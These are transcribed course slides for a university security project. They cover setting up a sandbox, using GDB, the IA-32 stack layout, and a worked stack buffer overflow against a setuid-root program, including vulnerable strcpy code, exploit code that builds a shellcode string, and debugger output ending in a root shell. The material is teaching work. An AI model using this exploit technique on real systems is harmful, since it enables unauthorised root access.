Programming Project # 1 cs155 Due: Thursday, April 21st, 11:59pm Shayan Guha Elizabeth Stinson.

Download Report

Transcript Programming Project # 1 cs155 Due: Thursday, April 21st, 11:59pm Shayan Guha Elizabeth Stinson.

Programming Project # 1
cs155
Due: Thursday, April 21st, 11:59pm
Shayan Guha
Elizabeth Stinson
Overview
 You’ll be given the source code for 7 short buggy
programs (target[1-7].c). These programs will be
installed with setuid root
 Your job is to write exploits (sploit[1-7].c) that
when run as user can get the target programs to
run /bin/sh for you as root
 Each ‘sploit basically execve’s its corresponding
target with a buffer as its parameter – all you
have to do is craft that buffer appropriately.
 All of this will be done in a sandbox – “Do no
evil”
Getting the code
 ssh into ONE OF THE FIRST FIVE RAPTOR MACHINES
 Create a cs155 directory to store the targets + sploits in your afs
space
 Then from that directory do:
$ tar -xvzf /usr/class/cs155/projects/pp1/cs155pp1.tar.gz
 Create a directory in the /tmp partition of one of the first five raptor
machines – this is where you’ll store the sandbox’s file system
image (cow)
cd /tmp
mkdir <SUNet ID>
More getting started…
Open an xterm window,
then set up environment from it:
raptor2:/tmp/stinson> setenv BOXESDIR /var/tmp/boxes
raptor2:/tmp/stinson> setenv BOXESHOME /tmp/stinson
raptor2:/tmp/stinson> setenv PATH /var/tmp/boxes:$PATH
Put this in your .cshrc file
Running boxes
Then start up boxes:
raptor9:/tmp/stinson> xterm –e $BOXESDIR/string &
 starts up the “switch daemon”; leave this running
raptor9:/tmp/stinson> $BOXESDIR/openbox cow1 10.64.64.64
 We all use the same IP? Yes. It’s a virtual IP for a virtual network.
 Note: openbox vs. closedbox
 Openbox: changes you make to files mounted on boxes will filter down
 Need to be running openbox in order to issue mount? I think so.
 Closedbox: what we’ll be testing with
Now what?
 A virtual console should pop up
 There are two accounts on these boxes:
Username: user
Username: root
 Log in as root
Password: user
Password: root
More getting started
 Then should see:
box:~#
 Do:
box:~# TERM=vt100
box:~# cd /etc
box:~# nano inittab
 OPTIONAL – to popup more consoles when you run
boxes, edit “inittab” via uncommenting out lines:
##2:23:respawn:/sbin/getty 38400 vc/2
##3:23:respawn:/sbin/getty 38400 vc/3
More…
 Now those lines in inittab should look like:
2:23:respawn:/sbin/getty 38400 vc/2
3:23:respawn:/sbin/getty 38400 vc/3
 CNTRL-X and save your changes (they will be
saved to the cow so that you won’t have to reexecute these steps every time)
 Then do:
box:~# halt
Only root can halt; causes all consoles to close…
finally…
 Then restart via:
raptor9:/tmp/stinson> $BOXESDIR/openbox cow1 10.64.64.64
 Then log in as root again and:
box:~# mount
none -t hostfs /mnt –o /afs/ir/users/s/t/stinson/cs155/pp1
Whoops, a bit more
 Then you’ll need to:







Copy the sploits dir to ~user
chown user:user ~user/*
Copy the individual targets to /tmp
cd to /tmp
chown root:root for each of the targets
Make the targets
setuid the targets - chmod 4755 for each of
the target binaries
Will I have to do that all every time?
 No.
 Be aware that the /tmp partitions get cleaned out
periodically (about every week); so your cow
image may be lost! zip it up when you’re taking a
break between exploits and copy it into your afs
space.
 The /tmp directory for boxes will also be cleaned
everytime you restart it – so copy the code from
/tmp to /root before you shut it down
Boxes resources
 Please see…
(a) boxes/FAQ
 a bit on setting up boxes
 a bit on gcc stack alignment
 plus other misc
(b) boxes/README
 more on the boxes system
GDB
 GDB: http://www.sens.buffalo.edu/UBiquity/software/gnu/doc/web/share/doc/gdb/html/gdb/
 Google “Using GDB: A Guide to the GNU Source-Level Debugger”
 See especially:
 Examining Stack Data
x/a : to print contents of an address (word)
 x/a buf prints first 4 bytes of buf variable
Press <enter> to walk up the stack 4 bytes at a time
x/s : to print a string
 Registers : $sp (stack pointer); $fp (frame pointer); $pc (program
counter)
p/x $pc : to print the program counter in hex
x/i $pc : to print the instruction to be executed next
info registers : to print all regs + their values
 Looking at assembly: disassemble <function name>
IA-32 references
 Go here:
http://developer.intel.com/design/pentium4/manuals/index_new.htm#sdm_vol1
 See in particular pages 137-160 of this:
ftp://download.intel.com/design/Pentium4/manuals/25366514.pdf
 HTML list of all IA-32 assembly:
http://www.cs.tut.fi/~siponen/upros/intel/
IA-32 review
 $esp : Stack Pointer (SP) : points to the bottom of the
stack (lowest mem address)
 Points to last used word in stack or next available word location
on stack (implementation dependent)
 $ebp : Frame Pointer (FP) : points to fixed location within
an activation record (stack frame)
 If $ebp for some stack frame is stored at addy X then $eip for
that frame is stored at addy X + 4
 Used to reference local vars and parameters since the distance
from any of those to the frame pointer will not change whereas
the distance from those to the stack pointer will (as other
functions are called and the stack pointer is decrem’d …)
 $eip : instruction pointer (aka $ra)
 “The instruction pointer (EIP) register contains the offset in the
current code segment for the next instruction to be executed.”
More IA-32 review
 When CALL procedure p(),
 Push eip : the return address ($ra)
 Push ebp : saves previous frame pointer
 Copy sp into fp : ebp = esp
 The new AR’s frame pointer will be the previous value of the
stack pointer
 Advance sp (esp) for allocations on stack (that is,
decrement it) – done via the push instruction
 When LEAVE procedure p(),
 This process is reversed
 Load ebp into esp
 Restore ebp from the stack
Interaction between EIP, EBP, ESP
 During CALL, value of eip register pushed onto
stack
 Before RET, programmer should make sure that
stack pointer (esp) is pointing to the eip on the
stack; does this via:




Move contents of $ebp into $esp
Increment $esp by 4
$esp should now point to (contain addy of) $eip
RET will load the value stored in $esp into the $eip
register then jump to that value
Stack Layout
void function( int a, int b, int c ) {
char buf1[5];
char buf2[10];
}
Stack:
ebp 
esp 
c
b
a
$ra [ eip ]
$fp [ ebp ]
<other stuff…>
buf1 – word aligned (so takes 8 bytes, not 5)
buf2 – word aligned (so takes 12 bytes, not 10)
[ esp points somewhere down here… ]
Stack Layout – function return
void function( int a, int b, int c ) {
char buf1[5];
char buf2[10];
}
Stack:
ebp  [top of caller’s function stack]
c
b
a
esp  $ra [ eip ]
$fp [ ebp ]
<other stuff…>
buf1 – word aligned (so takes 8 bytes, not 5)
buf2 – word aligned (so takes 12 bytes, not 10)
[ esp points somewhere down here… ]
Hacking references
 “Smashing the Stack for Fun and Profit”
 AlephOne, linked to on course site
 “Exploiting Format String Vulnerabilities”
 team teso, linked to on course site
 Chapter 7: Exploiting Software
Hoglund & McGraw (not required but nice)
 Phrack
 Prof. Boneh’s April 4th lecture
target1.c
int foo( char *arg, char *out ) {
strcpy( out, arg );
return 0; }
int main( int argc, char *argv[] ) {
char buf[64];
if ( argc != 2 ) { … }
foo( argv[1], buf );
return 0; }
Stack in target1 – layout in mem
argv[1] == <shellcode + buf’s addy>
argv[0] == “/tmp/target1”
argc
$ra – to which main() will return
$fp – for main’s stack frame
buf[64]
ptr to buf == “out”
// args to foo()
ptr to argv[1] == “arg”
// args to foo()
sploit1
 Need:
 Location of return address (addy on stack
where $ra that we’re going to overwrite lives)
 main()’s $ra since that’s the $ra *above* the buf
so that’s the one we’ll be able to overwrite
 Not foo()’s, right? why not?
 So we know how much we have to overwrite…
 Address of the buffer (“buf” in target1)
 So we know what address we want to force the
program to jump to
More on sploit1
 So just run the program using gdb and




see where the $fp and the $ra live relative
to where the buf (in target1) lives
So if buf’s addy is:
0x9ffffe60
And the $ra for main() is at: 0x9ffffeac
Then we need to make our exploit buffer:
0x9ffffeac – 0x9ffffe60 == 0x4C  76 + 4
So we’ll make it 81 and null terminate it
Buf addy
 Note that the exact addy of the target1 buf
will change depending upon how big the
buf you allocate in sploit1.c is – since your
buf will live *above* the target1 buf on the
stack
 But once you fix your buf size, the addy of
the target1 buf on the stack won’t change.
Crafting the exploit string
 Well, we’re going to have the target
program jump to the start of our string so
we’ll want to put the shellcode (size 45
bytes) at the start of the string (note
aleph1 suggestion re: using nops)
 Then we know that the $ra exists at offset
76 so we need to be sure that our
string[76] contains the addy of the target1
buf (0x9ffffe60)
sploit1.c
…
#define SIZE 81
…
char string[SIZE];
char *ptr = string;
long *addr_ptr = (long *)string;
long addr = 0x9ffffe60;
int i;
// our attack string
// to walk thru string a char at a time
// to walk thru string a word at a time
// the addy of the buffer: where we want control to jump to
for ( i = 0; i < SIZE; i+=4 ) // fill our attack string with the desired $ra
*( addr_ptr++ ) = addr;
for ( i = 0; i < strlen( shellcode ); i++ ) // write the shellcode at the beg of the buf
*( ptr++ ) = shellcode[i];
string[ SIZE - 1 ] = '\0';
// null terminate our string
Finishing up sploit1.c
 Then we set:
args[1] = string;
 The rest is unchanged. Re-make.
 Execute via:
user@box:/tmp/sploits$ ./sploit1
sh-2.05b$ whoami
root
sh-2.05b$
Debugging
user@box:/tmp/sploits$ gdb –e sploit1 –s /tmp/target1
[gdb intro message]
(gdb) r
(gdb) b main
(gdb) b foo
(gdb) c
(gdb) x/s 0x9fffff91 // prints “/tmp/target1”
Also, “stepi” “disass” …; see “help”
More debugging
user@box:/tmp/sploits$ gdb –e sploit1 –s /tmp/target1
is same as:
user@box:/tmp/sploits$ gdb
(gdb) symbol-file /tmp/target1
(gdb) exec-file sploit1
Walking through a working sploit
user@box:/tmp/sploits$ gdb –e sploit1 –s /tmp/target1
(gdb) r
(gdb) b main
(gdb) b foo
(gdb) c
(gdb) p/x $fp  0x9ffffeb0
[now we’re in main()]
(gdb) p/x $sp  0x9ffffe50
(gdb) p/x $pc  0x8048413
(gdb) x/a buf  0x9ffffe60
(gdb) c
(gdb) s
[now we’re in foo()]
(gdb) s
(gdb) s
(gdb) x/a buf
[back in main() now…]
[contains shellcode now]
(gdb) p/x $fp
(gdb) p/x $sp
(gdb) p/x $pc
(gdb) stepi
(gdb) x/i $pc
(gdb) stepi
 0x9ffffeb0
 0x9ffffe50
 0x8048451
 0x8048456 <main+83> : leave
(gdb) x/a $pc  0x8048456 <main+84> : ret
Next instruction exec’d will be ret; when you call ret:
eip = ebp // set the current PC…
// …to be the value stored at ebp
jump eip // jump to that newly reloaded PC & execute
(gdb) x/a $sp  0x9ffffe60
[the contents of $sp]
(gdb) stepi  0x9ffffe60 in ?? [we’re in the buf!]
(gdb) c
sh-2.05b$
The stack
0x9ffffef8
0x9ffffef4
0x9ffffef0
<SNIP>
0x9ffffeb8
0x9ffffeb4
0x9ffffeb0
0x9ffffeac
0x9ffffea8
0x9ffffea4
0x9ffffea0
0x9ffffe9c
<SNIP>
0x9ffffe60
0x9ffffe5c
0x9ffffe58
0x9ffffe54
0x9ffffe50
0x9ffffe4c
0x9ffffe48
| 0x9fffff9e | argv[1] : f9e = SHELLCODE
| 0x9fffff91 | argv[0] : f91 = "/tmp/target1"
|2
| argc
| 0x9fffff00 | <--- argv[1] : f00 points to NULL
| 0x9ffffef4 | <--- argv[0] : ef4 points to f91
|2
| <--- argc
| __libc_start_main+198 | <--- $ra : what we want to overwrite
| 0x9ffffec8
| <--- $fp : frame pointer
| 0x9ffffef4 | <--- argv[0] : ef4 points to f91
| _rtld_global
| <--- garbage alignment stuff?
|
| ------last word of buf-----|
| ------beginning of buf-----|
|
|
|
| 0x9ffffe60 | argv[1] <-- points to beginning of buf
| 0x9fffff9e | argv[0] <-- points to shellcode
| 0x8048461 | <--- $ra in foo() <main+78>
| 0x9ffffea8 | <--- $fp in foo()
Details
 Before the LEAVE instruction, we have
esp = 0x9ffffea0
ebp = 0x9ffffef8
 Then after the LEAVE instruction, we have
esp = 0x9ffffefc  == ebp + 4
ebp = 0x9fffff18
So: esp = ebp + 4
(the $ra is stored just above in memory the $fp)
Then we jump to the value stored at esp
(gdb) disass main
0x08048413 <main+0>:
0x08048414 <main+1>:
0x08048416 <main+3>:
0x08048419 <main+6>:
0x0804841c <main+9>:
0x08048421 <main+14>:
0x08048423 <main+16>:
0x08048427 <main+20>:
0x08048429 <main+22>:
0x08048431 <main+30>:
0x08048436 <main+35>:
0x08048439 <main+38>:
0x0804843e <main+43>:
0x08048445 <main+50>:
0x0804844a <main+55>:
0x0804844d <main+58>:
0x08048451 <main+62>:
0x08048454 <main+65>:
0x08048457 <main+68>:
0x08048459 <main+70>:
0x0804845c <main+73>:
0x08048461 <main+78>:
0x08048466 <main+83>:
0x08048467 <main+84>:
End of assembler dump.
push %ebp
mov %esp,%ebp
sub $0x58,%esp
and $0xfffffff0,%esp
mov $0x0,%eax
sub %eax,%esp
cmpl $0x2,0x8(%ebp)
je 0x804844a <main+55>
movl $0x8048584,0x4(%esp,1)
mov 0x80496a4,%eax
mov %eax,(%esp,1)
call 0x80482e4
movl $0x1,(%esp,1)
call 0x8048304
lea 0xffffffb8(%ebp),%eax
mov %eax,0x4(%esp,1)
mov 0xc(%ebp),%eax
add $0x4,%eax
mov (%eax),%eax
mov %eax,(%esp,1)
call 0x80483f4 <foo>
mov $0x0,%eax
leave
ret
(gdb) disass foo
Dump of assembler code for function foo:
0x080483e4 <foo+0>: push %ebp
0x080483e5 <foo+1>: mov %esp,%ebp
0x080483e7 <foo+3>: sub $0xa8,%esp
0x080483ed <foo+9>: and $0xfffffff0,%esp
0x080483f0 <foo+12>: mov $0x0,%eax
0x080483f5 <foo+17>: sub %eax,%esp
0x080483f7 <foo+19>: lea 0xffffff78(%ebp),%eax
0x080483fd <foo+25>: mov %eax,0xffffff74(%ebp)
End of assembler dump.
General suggestions / strategy
 Look at the targets and figure out what you
*can* do for each: can you overflow the buffer? If
so, by how much? If not, is there a format string
vulnerability? No? Other weirdness?
 Find the weakness first: even if you only have a
general idea of what it is
 Then, read + research
 Get big picture of what exactly the weakness is and
how an attack on that weakness works
 Get detailed picture of how such an attack works
 Then figure out how to adapt that model to the
specific code you’re given
Non suggestions
 Madly tweak code, using random $ra’s or
writing random amounts, … hoping to
strike gold. It probably won’t work
(certainly not for sploits >= 2).